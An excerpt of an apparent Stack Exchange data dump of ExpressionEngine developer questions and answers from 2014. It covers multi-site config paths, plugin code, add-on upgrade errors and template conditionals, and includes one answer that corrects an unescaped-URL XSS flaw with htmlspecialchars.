story:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I don't yet have templates set up for Site2 so the home page is just showing blank (expected)&lt;/li&gt;&#xA;&lt;li&gt;Going to &lt;code&gt;site2.dev/admin.php&lt;/code&gt; shows the login page but it is unstyled, which tells me it's not finding the themes folder correctly. (Same if I log in.)&lt;/li&gt;&#xA;&lt;li&gt;If I'm logged into the CP via site1 and attempt to switch to site2, I get this error: &lt;code&gt;Fatal error: Call to undefined method Cp::switch_site() in /path/to/home/site1/html/system/expressionengine/controllers/cp/sites.php on line 57&lt;/code&gt; &lt;strong&gt;Update:&lt;/strong&gt; This issue was due to having MSM be newer &amp;amp; not compatible with the EE version I had. Upgraded EE and no more error.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've tried suggestion's from &lt;a href=&quot;https://pixelfear.com/blog/bootstrapping-msm&quot; rel=&quot;nofollow&quot;&gt;Jason Varga's article&lt;/a&gt; on this to no avail (particularly the section from &quot;Not so fast&quot; on, though I've tried the whole thing and that went worse).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's what I have in the Dynamic path settings section inside &lt;code&gt;config.master.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$protocol                          = (isset($_SERVER['HTTPS']) &amp;amp;&amp;amp; $_SERVER['HTTPS'] == 'on') ? 'https://' : 'http://';&#xA;$base_url                          = $protocol . $_SERVER['HTTP_HOST'];&#xA;$base_path                         = FLC_DOCROOT;&#xA;$system_folder                     = APPPATH . '../';&#xA;$images_folder                     = 'assets/img-ee';&#xA;$images_path                       = $base_path . '/' . $images_folder;&#xA;$images_url                        = $base_url . '/' . $images_folder;&#xA;&#xA;$env_config['index_page']          = '';&#xA;$env_config['site_index']          = '';&#xA;$env_config['base_url']            = $base_url . '/';&#xA;$env_config['site_url']            = $env_config['base_url'];&#xA;$env_config['cp_url']              = $env_config['base_url'] . 'admin.php';&#xA;$env_config['theme_folder_path']   = $base_path   . '/themes/';&#xA;$env_config['theme_folder_url']    = $base_url    . '/themes/';&#xA;$env_config['emoticon_path']       = $images_url  . '/smileys/';&#xA;$env_config['emoticon_url']        = $images_url  . '/smileys/';&#xA;$env_config['captcha_path']        = $images_path . '/captchas/';&#xA;$env_config['captcha_url']         = $images_url  . '/captchas/';&#xA;$env_config['avatar_path']         = $images_path . '/avatars/';&#xA;$env_config['avatar_url']          = $images_url  . '/avatars/';&#xA;$env_config['photo_path']          = $images_path . '/member_photos/';&#xA;$env_config['photo_url']           = $images_url  . '/member_photos/';&#xA;$env_config['sig_img_path']        = $images_path . '/signature_attachments/';&#xA;$env_config['sig_img_url']         = $images_url  . '/signature_attachments/';&#xA;$env_config['prv_msg_upload_path'] = $images_path . '/pm_attachments/';&#xA;$env_config['third_party_path']    = $base_path . '/assets/third-party/addons/';&#xA;$env_config['url_third_themes']    = $base_url . '/assets/third-party/themes/';&#xA;$env_config['path_third_themes']   = $base_path . '/assets/third-party/themes/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Lastly, as far as add-ons go, most of third-party ones &lt;em&gt;seem&lt;/em&gt; to work, but I haven't tested all of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my hunch is that something needs to change in regard to the 3rd party paths to get them to work properly and to get themes to work properly. Just not sure what. And I've no idea how to get the site switch function working in the CP to seamlessly switch from site1 to site2 and vice versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts / suggestions?&lt;/p&gt;&#xA;" OwnerUserId="132" LastEditorUserId="132" LastEditDate="2014-07-29T17:00:16.467" LastActivityDate="2014-07-29T17:00:16.467" Title="MSM &amp; Master Config" Tags="|multi-site-manager|focus-lab-master-config|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24647" PostTypeId="2" ParentId="24460" CreationDate="2014-07-24T18:56:36.197" Score="0" Body="&lt;p&gt;I created use the plugin stringy for a lot of things and I added this function to it today because I needed the same thing.  This could probably be trimmed down but it works.  You can pass in the selected date in the selected parameter, I just pass in a specific segment.  If not selected parameter is passed in it uses the current year and month as the selected date. You might have to change the date formatting to meet yours needs.  This by the way ONLY outputs the option tags, you need to put this inside the  tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function month_select()&#xA;{&#xA;    $sel_date = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('selected');&#xA;&#xA;    if ($sel_date == &quot;&quot;) {&#xA;        $sel_date = date(&quot;Y-m-d&quot;);&#xA;    }&#xA;&#xA;    $ret = &quot;&quot;;&#xA;    $date = date('Y-m-d');&#xA;    $month = date(&quot;n&quot;, strtotime($date));&#xA;    $year = date('Y');&#xA;&#xA;    for ($cm=0; $cm&amp;lt;12; $cm++) {&#xA;        $is_sel = false;&#xA;        $sel_str = &quot;&quot;;&#xA;&#xA;        $tm = ($month + $cm);&#xA;        $ty = $year;&#xA;&#xA;        if ($tm &amp;gt; 12) {&#xA;            $tm = $tm - 12;&#xA;            $ty = $year + 1;&#xA;        }&#xA;&#xA;        $ds = date(&quot;F Y&quot;, strtotime($ty . &quot;/&quot; . $tm . &quot;/1&quot;));&#xA;&#xA;        if ($ty == date(&quot;Y&quot;, strtotime($sel_date)) &amp;amp;&amp;amp; $tm == date(&quot;n&quot;, strtotime($sel_date))) {&#xA;            $is_sel = true;&#xA;            $sel_str = 'selected=&quot;selected&quot;';&#xA;        }&#xA;&#xA;        $ret .= '&amp;lt;option value=&quot;' . $ty . '-' . $tm . '&quot; ' . $sel_str . '&amp;gt;' . $ds . '&amp;lt;/option&amp;gt;';&#xA;    }&#xA;&#xA;    return $ret;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2358" LastActivityDate="2014-07-24T18:56:36.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24649" PostTypeId="2" ParentId="24646" CreationDate="2014-07-24T20:22:38.337" Score="1" Body="&lt;p&gt;Give this a try: &lt;a href=&quot;https://github.com/kgrote/msm_master_config&quot; rel=&quot;nofollow&quot;&gt;https://github.com/kgrote/msm_master_config&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been using it on a pretty complex MSM site for a while now with no issues.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2014-07-24T20:22:38.337" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24650" PostTypeId="2" ParentId="24636" CreationDate="2014-07-24T20:25:23.077" Score="1" Body="&lt;p&gt;This currently does not exist in Store at the product level. There is a considerable sales/discounts system that allows you to tie it to groups and items, but it is reverse from the way you are thinking.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2014-07-24T20:25:23.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24652" PostTypeId="2" ParentId="24645" CreationDate="2014-07-25T03:49:00.423" Score="1" Body="&lt;p&gt;I suggest you take a look at HooBlong, a module that allows members to belong to more than one group for front-end access control. More details can be found at &lt;a href=&quot;https://www.debeer.com/index.php/debeer/expressionengine_meet_multiple_memberships&quot; rel=&quot;nofollow&quot;&gt;https://www.debeer.com/index.php/debeer/expressionengine_meet_multiple_memberships&lt;/a&gt;. There are some examples that could fit your needs at &lt;a href=&quot;https://www.debeer.com/index.php/blogs&quot; rel=&quot;nofollow&quot;&gt;https://www.debeer.com/index.php/blogs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="114" LastActivityDate="2014-07-25T03:49:00.423" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="24653" PostTypeId="1" AcceptedAnswerId="24657" CreationDate="2014-07-25T04:17:37.487" Score="6" ViewCount="717" Body="&lt;p&gt;I've just upgraded to EE 2.9 and trying to update Playa to 4.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to Fieldtypes -&gt; Playa I get this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A Database Error Occurred Error Number: 1060&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Duplicate column name 'parent_element_id'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;ALTER TABLE exp_playa_relationships ADD parent_element_id VARCHAR(255)&#xA;  NULL AFTER parent_var_id&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: third_party/playa/ft.playa.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 488&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The previous version I had installed was 4.4.5 - I've tried setting it to 4.4.4 in exp_fieldtypes as well but same error.&lt;/p&gt;&#xA;" OwnerUserId="763" LastActivityDate="2014-07-25T07:18:02.153" Title="Playa upgrade error in EE 2.9" Tags="|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24654" PostTypeId="2" ParentId="24593" CreationDate="2014-07-25T05:22:49.230" Score="0" Body="&lt;p&gt;It seems that setting &lt;code&gt;cp_session_type&lt;/code&gt; to &lt;code&gt;s&lt;/code&gt; from &lt;code&gt;c&lt;/code&gt; solved this issue for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I get more time I'll investigate a bit deeper and leave more notes in the comments.&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-07-25T05:22:49.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24655" PostTypeId="1" CreationDate="2014-07-25T06:50:27.047" Score="1" ViewCount="219" Body="&lt;p&gt;Everything else works. And I can login through the back end. But when I submit the login form I get a blank page and am not logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I replaced my login page with the example code on the Expression Engine Member Management page  - &lt;a href=&quot;http://www.ellislab.com/expressionengine/user-guide/add-ons/member/index.html#login-form-tag&quot; rel=&quot;nofollow&quot;&gt;http://www.ellislab.com/expressionengine/user-guide/add-ons/member/index.html#login-form-tag&lt;/a&gt;&#xA;but got the same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas on what might be the cause, or how I can go about identifying it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried uninstalling various member related addons such as User, Twomile Login Redirect and Authenticate, but that hasn't helped.&lt;/p&gt;&#xA;" OwnerUserId="3405" LastActivityDate="2014-07-27T01:00:40.123" Title="After upgrading to EE 2.9.0 my front-end login page no longer works" Tags="|members|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24656" PostTypeId="1" CreationDate="2014-07-25T07:17:50.767" Score="0" ViewCount="87" Body="&lt;p&gt;I know this is a simple answer, but I can't remember the exact way to write an SQL query to use in a custom field for displaying a list of channels currently on the site. A Google search on the topic wasn't much help. Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I am using &lt;a href=&quot;https://github.com/sjcallan/expressionengine-query_field&quot; rel=&quot;nofollow&quot;&gt;Query Field&lt;/a&gt; to create a dropdown list of channel names, if that changes anything.)&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="343" LastEditDate="2014-07-25T12:41:47.707" LastActivityDate="2014-07-25T12:44:48.433" Title="Sql query to pull list of channels" Tags="|channel|query|sql|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24657" PostTypeId="2" ParentId="24653" CreationDate="2014-07-25T07:18:02.153" Score="12" Body="&lt;p&gt;For some reason sometime the update is applied but EE does not change the version number. I'm not even sure on which side the error happens, but setting the version number to 4.5 in exp_fieldtypes should solve your problem.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2014-07-25T07:18:02.153" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="24658" PostTypeId="1" CreationDate="2014-07-25T09:47:33.377" Score="1" ViewCount="39" Body="&lt;p&gt;is it possible to merge two text fields from an XML-Feed into one text field in expressionengine in Solspace's Importer? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="2261" LastActivityDate="2014-12-23T03:09:05.200" Title="Solspace Importer - Merge two fields in one" Tags="|solspace-importer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24659" PostTypeId="1" CreationDate="2014-07-25T10:05:48.087" Score="1" ViewCount="126" Body="&lt;p&gt;I'm having trouble implementing a new payment gateway for Expresso Store using the Omnipay library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main issue is that I can access credit card related details during the PurchaseRequest by calling $this-&gt;getCard()-&gt;getName() &amp;amp; $this-&gt;getCard()-&gt;getNumber() - I post these and other details off to the payment gateway which checks the 3DSecure status of the card prompts the user for an OTP if the card is enrolled for 3DSecure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The gateway then posts back to my module for the next leg of processing at which time I implement the CompleteAuthoriseRequest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I no longer have access to the CardName or CardNumber - the methods $this-&gt;getCard()-&gt;getName() &amp;amp; $this-&gt;getCard()-&gt;getNumber() return FALSE and even ExpressionEngine sessionCache doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Omnipay have some built in session caching that I can use to persist these values between calls ? I've looked everywhere but can't seem to find the answer.&lt;/p&gt;&#xA;" OwnerUserId="1948" LastActivityDate="2014-07-25T10:05:48.087" Title="Omnipay, Expresso Store and 3D Secure" Tags="|expresso-store|payment-gateway|omnipay|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24660" PostTypeId="2" ParentId="24460" CreationDate="2014-07-25T10:19:08.673" Score="0" Body="&lt;p&gt;Thanks a lot Trevor Orr!&#xA;I have managed to accomplish what I wanted to do with a plugin called DT (&lt;a href=&quot;http://viminteractive.com/software/dt_plugin&quot; rel=&quot;nofollow&quot;&gt;http://viminteractive.com/software/dt_plugin&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because I only needed a couple of loop itirations I hardcoded the select options and offsetted the dates like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&quot;expiry1&quot;&amp;gt;&#xA;     &amp;lt;option value=&quot;{exp:dt format='%U'}&quot;&amp;gt;{exp:dt format='%M %Y'}&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;{exp:dt format='%U' month='1'}&quot;&amp;gt;{exp:dt format='%M %Y' month='1'}&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;{exp:dt format='%U' month='2'}&quot;&amp;gt;{exp:dt format='%M %Y' month='2'}&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;{exp:dt format='%U' month='3'}&quot;&amp;gt;{exp:dt format='%M %Y' month='3'}&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;{exp:dt format='%U' month='4'}&quot;&amp;gt;{exp:dt format='%M %Y' month='4'}&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;{exp:dt format='%U' month='5'}&quot;&amp;gt;{exp:dt format='%M %Y' month='5'}&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;{exp:dt format='%U' month='6'}&quot;&amp;gt;{exp:dt format='%M %Y' month='6'}&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;{exp:dt format='%U' month='7'}&quot;&amp;gt;{exp:dt format='%M %Y' month='7'}&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;{exp:dt format='%U' month='8'}&quot;&amp;gt;{exp:dt format='%M %Y' month='8'}&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;{exp:dt format='%U' month='9'}&quot;&amp;gt;{exp:dt format='%M %Y' month='9'}&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;{exp:dt format='%U' month='10'}&quot;&amp;gt;{exp:dt format='%M %Y' month='10'}&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;{exp:dt format='%U' month='11'}&quot;&amp;gt;{exp:dt format='%M %Y' month='11'}&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;{exp:dt format='%U' month='12'}&quot;&amp;gt;{exp:dt format='%M %Y' month='12'}&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first option is always the current month and year and for the following 12 months 1 month is added to the current.&#xA;It would be nice to be able to make this an actual loop.&lt;/p&gt;&#xA;" OwnerUserId="777" LastActivityDate="2014-07-25T10:19:08.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24661" PostTypeId="1" AcceptedAnswerId="24781" CreationDate="2014-07-25T11:06:36.697" Score="0" ViewCount="99" Body="&lt;p&gt;At the moment I just want to display some data stored in a matrix field in the Zoo Visitor channel, but no data is shown. I am able to update native member data via Zoo Visitor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code at the moment (reduced template code):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# {billing_info} = Matrix field&#xA;# {billing_company_name} = text field within matrix&#xA;# {billing_reference} = text field within matrix&#xA;# {billing_company_vat} = text field within matrix&#xA;&#xA;{exp:zoo_visitor:update_form &#xA;    return='/account/edit/address/success'&#xA;    role='form'&#xA;    include_jquery='no'&#xA;    datepicker='no'&#xA;    include_assets='no'&#xA;    secure_action='yes'&#xA;    secure_return='yes'&#xA;    class='form-horizontal'&#xA;}&#xA;    {billing_info}&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;form-control&quot; id=&quot;billing_company_name&quot; name=&quot;billing_info[billing_company_name]&quot; placeholder=&quot;Company Name&quot; value=&quot;{billing_company_name}&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;form-control&quot; id=&quot;billing_reference&quot; name=&quot;billing_info[billing_reference]&quot; placeholder=&quot;Reference&quot; value=&quot;{billing_reference}&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;form-control&quot; id=&quot;billing_company_vat&quot; name=&quot;billing_info[billing_company_vat]&quot; placeholder=&quot;VAT No.&quot; value=&quot;{billing_company_vat}&quot;&amp;gt;&#xA;    {/billing_info}&#xA;{/exp:zoo_visitor:update_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&#xA;I am logged in on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tags like the ones below are working fine.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:details}&#xA;    {visitor:member_firstname}&#xA;{/exp:zoo_visitor:details}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Currently running EE 2.9 + Zoo Visitor 1.3.32 + Matrix 2.6&lt;/p&gt;&#xA;" OwnerUserId="777" LastActivityDate="2014-07-30T20:48:15.303" Title="Matrix fields within Zoo Visitor" Tags="|matrix|zoo-visitor|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="24662" PostTypeId="1" CreationDate="2014-07-25T11:28:23.010" Score="0" ViewCount="187" Body="&lt;p&gt;I've just installed Playa 4.5 to try and get around an edge case I'm having with searching and EE's native relationship fields. I basically need to have a single relationship dropdown in a grid field (again, EE native). The problem is there doesn't seem to be an option to add a Playa field into grid. Is this possible, or do I also have to buy Matrix? (It feels slightly unfair if I do!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1870" LastActivityDate="2019-04-27T07:01:50.310" Title="Playa within a Grid field" Tags="|playa|pixelandtonic|grid|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24664" PostTypeId="2" ParentId="24656" CreationDate="2014-07-25T12:04:39.500" Score="0" Body="&lt;p&gt;Not exactly a direct answer to your question, but I have created a fieldtype that allows you to select channels. &lt;a href=&quot;https://github.com/rsanchez/channel_select&quot; rel=&quot;nofollow&quot;&gt;https://github.com/rsanchez/channel_select&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might be of use to you.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2014-07-25T12:04:39.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24665" PostTypeId="2" ParentId="24656" CreationDate="2014-07-25T12:44:48.433" Score="1" Body="&lt;p&gt;If the site_id is 1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT channel_id, channel_name&#xA;FROM exp_channels&#xA;WHERE site_id = 1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Getting the &lt;code&gt;channel_id&lt;/code&gt; and ht e &lt;code&gt;channel_name&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-07-25T12:44:48.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24666" PostTypeId="2" ParentId="17794" CreationDate="2014-07-25T13:04:15.170" Score="0" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;a href='&quot;.$_GET['URL'].&quot;' rel='nofollow'&amp;gt;&quot;.$_GET['URL'].&quot;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Leeds to XSS vulnerability. Change to something like :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href='&quot;.htmlspecialchars($_GET['URL']).&quot;' rel='nofollow'&amp;gt;&quot;.htmlspecialchars($_GET['URL']).&quot;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user3406" LastActivityDate="2014-07-25T13:04:15.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24667" PostTypeId="1" CreationDate="2014-07-25T14:40:20.507" Score="0" ViewCount="39" Body="&lt;p&gt;I've made a little script to be able to select entire rows in a table.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;.clickableRow&quot;).on(&quot;click&quot;, function() {&#xA;    location.href=&quot;{path='leerlijnen/school/{entry_id}/#toevoegen'}&quot;;&#xA;}); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However the href doesn't produce a valid URL: ../leerlijnen/school/{entry_id/#toevoegen'}   where I expected: ../leerlijnen/school/3964/#toevoegen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any glues?&lt;/p&gt;&#xA;" OwnerUserId="2986" LastActivityDate="2014-07-29T17:07:03.923" Title="Render entry_id in URL from jquery" Tags="|url|jquery|table|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24668" PostTypeId="1" AcceptedAnswerId="24717" CreationDate="2014-07-25T16:30:10.400" Score="1" ViewCount="43" Body="&lt;p&gt;I am creating a product info page, where you can select a product modifier (e.g. size, flavor), I have an issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, according the Expresso-Store docs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;min_order_qty&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The minimum order quantity for the product. If the product has more&#xA;  than one SKU, this will be the maximum of all minimum order&#xA;  quantities. If the product does not have any minimum order quantity,&#xA;  this will return 1. Useful for pre-populating the item_qty field:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Found that it actually returns the minimum of all min order quantities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changed the Product.php file on line 132 from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($item-&amp;gt;min_order_qty &amp;lt; $min_order_qty) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($item-&amp;gt;min_order_qty &amp;gt; $min_order_qty) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That seemed to resolve the issue of not returning the maximum of minimum order quantities. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, the issue remains that I need to be able to retrieve the individual min_order_qty's for each modifier option so that I may, for instance, update the Quantity field in the document dynamically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the fields allow you to map a minimum order quantity to each stock (SKU) variant, I expected to a method to retrieve each of these quantity values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attached is an image of an example product modifier options for context:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iz3V9.png&quot; alt=&quot;Example of product modifier options with different minimum order quantities.&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2916" LastActivityDate="2014-07-28T19:43:52.210" Title="Calling min_order_qty on each product modifier option" Tags="|expresso-store|ee2|ecommerce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24670" PostTypeId="2" ParentId="24662" CreationDate="2014-07-25T17:29:58.470" Score="-3" Body="&lt;p&gt;Can you tell us what version of EE you're using? If you're using a version that has native Relationships, you should use those instead of playa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using one without native Relationships, you should use Matrix instead of Grid.&lt;/p&gt;&#xA;" OwnerUserId="1085" LastActivityDate="2014-07-25T17:29:58.470" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24671" PostTypeId="1" AcceptedAnswerId="24673" CreationDate="2014-07-25T17:39:58.993" Score="0" ViewCount="166" Body="&lt;p&gt;I've decided to just test an idea for custom meta tags on every page without using Low Variable and try a native approach. The idea is to use an embed template with embed variables to check if a custom field is entered and if not use the global site meta description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The embed template is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;{embed:channel_name}&quot; dynamic=&quot;yes&quot; disable=&quot;members|categories|pagination&quot;}&#xA;    {if embed:meta_tag}&#xA;         {{embed:meta_tag}}&#xA;            {if no_results}&#xA;            blah&#xA;            {/if}&#xA;&#xA;    {if:else}&#xA;          Nothing entered&#xA;    {/if}&#xA;    {if embed:meta_tag != &quot;&quot;}&#xA;         {{embed:meta_tag}}&#xA;            {if no_results}&#xA;            blah&#xA;            {/if}&#xA;    {/if}&#xA;    {if embed:meta_tag == &quot;&quot;}&#xA;          {gv_meta_desc}&#xA;    {/if}&#xA; {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then pass the embed template into my templates as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {embed=&quot;embeds/template_file&quot; channel_name=&quot;channel_name&quot; meta_tag=&quot;meta_description&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the meta_description is entered, content will show. If not nothing will show. I cannot see an error or anything that would cause this to occur.&lt;/p&gt;&#xA;" OwnerUserId="1085" LastEditorUserId="1085" LastEditDate="2014-07-25T17:45:02.270" LastActivityDate="2014-07-25T18:47:08.003" Title="Checking for custom field with conditional inside of an embed template" Tags="|conditionals|low-variables|embeds|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24672" PostTypeId="2" ParentId="24662" CreationDate="2014-07-25T17:48:20.500" Score="0" Body="&lt;p&gt;As of right now (25 July 2014), you can not have playa in an ExpressionEngine grid field. So order to use playa, you will have to use matrix. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your edge case, maybe you could post another question and we could try and help you with the searching issue you are having. &lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-07-25T17:48:20.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24673" PostTypeId="2" ParentId="24671" CreationDate="2014-07-25T18:47:08.003" Score="1" Body="&lt;p&gt;Your code works ok in EE 2.9 but versions below this, this should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;{embed:channel}&quot; dynamic=&quot;yes&quot;}&#xA;   {if &quot;{{embed:meta_tag}}&quot; }&#xA;       {{embed:meta_tag}}&#xA;            {if no_results}&#xA;            blah&#xA;            {/if}&#xA;   {if:else}&#xA;       Nothing entered&#xA;   {/if}&#xA;   {if &quot;{{embed:meta_tag}}&quot; != &quot;&quot;}&#xA;       {{embed:meta_tag}}&#xA;       {if no_results}&#xA;               blah&#xA;        {/if}&#xA;   {/if}&#xA;   {if &quot;{{embed:meta_tag}}&quot; == &quot;&quot;}&#xA;       {gv_meta_desc}&#xA;   {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In expressionengine 2.9, they rewrote the conditional parser, so in order to achieve this kind of effect in older versions, you need to double wrap all your embed var tags for conditionals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your first conditional was being rendered like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   {if } {!-- blank if! --}&#xA;       {{embed:meta_tag}}&#xA;            {if no_results}&#xA;            blah&#xA;            {/if}&#xA;   {if:else}&#xA;       Nothing entered&#xA;   